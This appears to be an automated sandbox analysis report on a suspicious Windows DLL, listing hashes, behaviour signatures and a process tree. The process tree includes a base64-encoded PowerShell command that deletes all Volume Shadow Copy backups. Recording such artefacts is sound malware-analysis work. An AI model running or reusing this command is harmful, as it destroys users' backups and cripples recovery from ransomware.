Analysis

  • max time kernel
    92s
  • max time network
    100s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 13:55

General

  • Target

    722e15d85827d3ac13e56e8108688012_JaffaCakes118.dll

  • Size

    164KB

  • MD5

    722e15d85827d3ac13e56e8108688012

  • SHA1

    cab935a24d7d0ea7e8d93851f7ea94ab9bccfc34

  • SHA256

    578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1

  • SHA512

    59e24cf313db4413f44f16a8276d072f43402e718c25e1d00e81ddc69a1937473cfd1902c320bc9175d75a0d43a53ab3e971b8447ec1cf9cf9aa3aa536464273

  • SSDEEP

    3072:BrX1t2U05pbJ5xhxY9doh7O79siUs/NaT8Sp:BrltH05f5v2i7O93No7

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\722e15d85827d3ac13e56e8108688012_JaffaCakes118.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\722e15d85827d3ac13e56e8108688012_JaffaCakes118.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4516
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3176
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4756
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:376

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_whbksyqc.jvy.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3176-0-0x00007FFB790D3000-0x00007FFB790D5000-memory.dmp

      Filesize

      8KB

    • memory/3176-1-0x000001B4E9030000-0x000001B4E9052000-memory.dmp

      Filesize

      136KB

    • memory/3176-11-0x00007FFB790D0000-0x00007FFB79B91000-memory.dmp

      Filesize

      10.8MB

    • memory/3176-12-0x00007FFB790D0000-0x00007FFB79B91000-memory.dmp

      Filesize

      10.8MB

    • memory/3176-15-0x00007FFB790D0000-0x00007FFB79B91000-memory.dmp

      Filesize

      10.8MB